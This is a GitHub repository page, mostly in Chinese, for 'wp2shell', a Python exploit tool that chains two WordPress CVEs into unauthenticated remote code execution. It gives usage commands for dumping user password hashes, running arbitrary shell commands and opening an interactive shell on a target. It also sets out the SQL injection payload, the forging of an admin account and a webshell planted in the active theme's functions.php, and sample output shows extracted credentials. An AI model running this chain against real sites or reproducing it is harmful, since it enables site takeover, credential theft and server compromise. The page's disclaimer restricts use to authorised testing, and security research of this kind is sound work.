4B3R4M4-607D/CVE-2026-63030-POC

GitHub: 4B3R4M4-607D/CVE-2026-63030-POC

针对 WordPress 未授权 RCE 漏洞链(CVE-2026-63030 + CVE-2026-60137)的 Python 利用工具,串联路由混乱与 SQL 注入实现从认证绕过到 webshell 部署的完整攻击路径。

Stars: 1 | Forks: 0

# wp2shell — CVE-2026-63030 + CVE-2026-60137 **1-day WordPress RCE 漏洞利用链。无需身份验证。CVSS 9.8。** 零依赖 — 仅使用 Python 3.8+ 标准库。 ## 受影响版本 | 分支 | 受影响版本 | 已修复版本 | |---------|--------------------|---------| | 6.9.x | 6.9.0 – 6.9.4 | ≥ 6.9.5 | | 7.0.x | 7.0.0 – 7.0.1 | ≥ 7.0.2 | ## 漏洞利用链 将两个 CVE 串联成无需身份验证的远程代码执行 (RCE): ``` CVE-2026-63030 (route confusion) → batch desync bypasses auth + CVE-2026-60137 (SQL injection) → author__not_in sinks raw into SQL ↓ UNION-forge WP_Post rows → customizer changeset bridge → admin created ↓ Login as admin → theme editor → webshell → RCE ``` | 步骤 | CVE | 攻击向量 | |------|-----|--------| | 1 | CVE-2026-63030 | REST `/batch/v1` 索引错位导致验证与分发不同步 | | 2 | CVE-2026-60137 | 作为字符串传递时,`author__not_in` WP_Query 参数会跳过 `absint()` | | 3 | — | UNION SELECT 伪造 `wp_posts` 行;oEmbed → customizer → `wp_insert_user` | | 4 | — | 以新创建的管理员身份进行身份验证 | | 5 | — | 主题编辑器将受 token 保护的 webshell 注入到当前激活的主题中 | ## 快速开始 ``` # 仅探测 — 非破坏性,确认漏洞 python3 exploit.py --url http://target:8080 --check # 从数据库提取管理员密码哈希 python3 exploit.py --url http://target:8080 --dump-users # 完整链:SQLi → 管理员 → webshell → 命令 python3 exploit.py --url http://target:8080 --cmd "id; uname -a" # 交互式 shell(包含工作目录跟踪) python3 exploit.py --url http://target:8080 --shell # 通过 UNION SQL injection 读取任意数据 python3 exploit.py --url http://target:8080 --read "SELECT @@version" # 跳过 pre-auth bridge — 使用已知凭据 python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami ``` ## 选项 ``` --url URL Target WordPress base URL (required) --check Probe only — do not exploit --dump-users Extract all user credentials via UNION SQLi --read SQL Read a scalar SQL expression from the database --cmd CMD Run a shell command on the target --shell Open an interactive shell --user USER Admin username (skip pre-auth admin creation) --password PASS Admin password (use with --user) --proxy URL HTTP proxy (e.g. http://127.0.0.1:8080) --timeout SEC Request timeout (default: 30) --no-cleanup Leave webshell and admin user on target ``` ## 工作原理 ### 路由混乱 (CVE-2026-63030) WordPress 位于 `/?rest_route=/batch/v1` 的批量 endpoint 接收一个子请求数组。当子请求包含无法解析的路径 (`///`) 时,会将 `WP_Error` 添加到 `$validation` 中,但**不会**添加到 `$matches` 中。随后,分发循环会将请求 `N` 与 handler `N+1` 配对 —— 因此针对某个 schema **验证**的请求会被**分发**到另一个不同的 handler。 该漏洞利用发送了一个 3 层嵌套的 batch,其中每一层都在位置 0 使用了一个不同步的 primer 来移动索引。最内层的请求 —— 原本验证为单个文章项 (`GET /wp/v2/posts/999999`) —— 最终落在了 collection handler (`posts->get_items()`) 上。由于 item schema 没有定义 `author_exclude`,因此该参数在未经验证的情况下直接通过了。 ### SQL 注入 (CVE-2026-60137) `get_items()` 会将 `author_exclude` 映射为 `author__not_in` 并将其传递给 `WP_Query`。当 `author__not_in` 是一个字符串(而不是数组)时,`array_map('absint', …)` 代码块将被跳过。原始字符串会直接进入: ``` WHERE post_author NOT IN () ``` Payload `0) UNION ALL SELECT …-- -` 会闭合 `NOT IN` 列表并追加任意的 SQL。 ### UNION 提取 WordPress 7.0.x 的 `wp_posts` 表正好有 23 列。通过结合使用 `UNION ALL SELECT` 注入伪造行、`orderby=none`(抑制末尾的 `ORDER BY`)以及 `per_page=500`(保持 WP_Query 处于整行模式),带有 `||HEX||` 标记的伪造文章标题会反映在 REST 响应中。所有字符串值均使用 MySQL 十六进制字面量 (`0x…`),以避免通过 URL 编码时出现的引号转义问题。 ### 未授权管理员创建 1. 通过 UNION 伪造一篇包含 `[embed]` shortcode 的文章 → WordPress 会创建 3 行 `oembed_cache` 记录 2. 通过 UNION 提取读回这 3 个缓存文章的 ID 3. 通过 UNION 伪造 7 行结构化的 `wp_posts` 记录,组成 customizer changeset 链 4. 渲染 `[embed]` shortcode,触发 `WP_Embed::shortcode()` → `wp_update_post()` → `WP_Customize_Manager` → `wp_insert_user()` 5. 创建具有随机用户名 (`wp2_`) 和密码 (`Wp2!`) 的管理员 ### Webshell 部署 以新管理员身份登录 → 提取主题编辑器 nonce → 在当前激活主题的 `functions.php` 的**顶部**注入受 token 保护的 PHP webshell → 通过 `?t=&c=` 访问。 ## 环境要求 - Python 3.8 或更高版本 - **零外部依赖** — 仅使用标准库 (`urllib`, `json`, `re`, `hashlib`, `secrets`, `html`) - 目标必须至少包含一篇已发布的文章或页面(用于 oEmbed 缓存种子) ## 限制 - **Docker loopback**:WordPress 的文件编辑器在保存前会执行一次 `wp_remote_post()` loopback 检查。如果容器无法通过主机名访问自身,则主题编辑将被阻止。在这种情况下,请使用 `--dump-users` + 手动登录。 - **无已发布的文章**:oEmbed 缓存种子至少需要一个公开的 permalink。一个在安装设置后的空白 WordPress 实例会包含“Hello world!”和“示例页面”。 - **WAF / mod_security**:严格的请求过滤可能会阻止嵌套的 batch payload。请首先使用 `--check` 进行测试。 ## 验证 ``` $ python3 exploit.py --url http://target --check [+] VULNERABLE — route-confusion behavior detected! [+] UNION SQLi extraction confirmed — in-band read available $ python3 exploit.py --url http://target --dump-users [*] 11 user(s) in wp_users: ID=1 login=admin pass=$wp$2y$10$... ... ``` ## 免责声明 此工具仅供授权的安全研究和教育目的使用。请仅针对您拥有或获得明确测试许可的系统使用。作者对任何滥用行为不承担任何责任。 ## 致谢 - [Icex0/wp2shell-poc](https://github.com/Icex0/wp2shell-poc) — 原始 PoC 和研究 - [WPScan](https://wpscan.com) — CVE 披露 (CVE-2026-63030, CVE-2026-60137) - [NVD](https://nvd.nist.gov) — CVE 数据库 ## 许可证 MIT
标签:CISA项目, Python, 安全, 无后门, 编程工具, 超时处理, 远程代码执行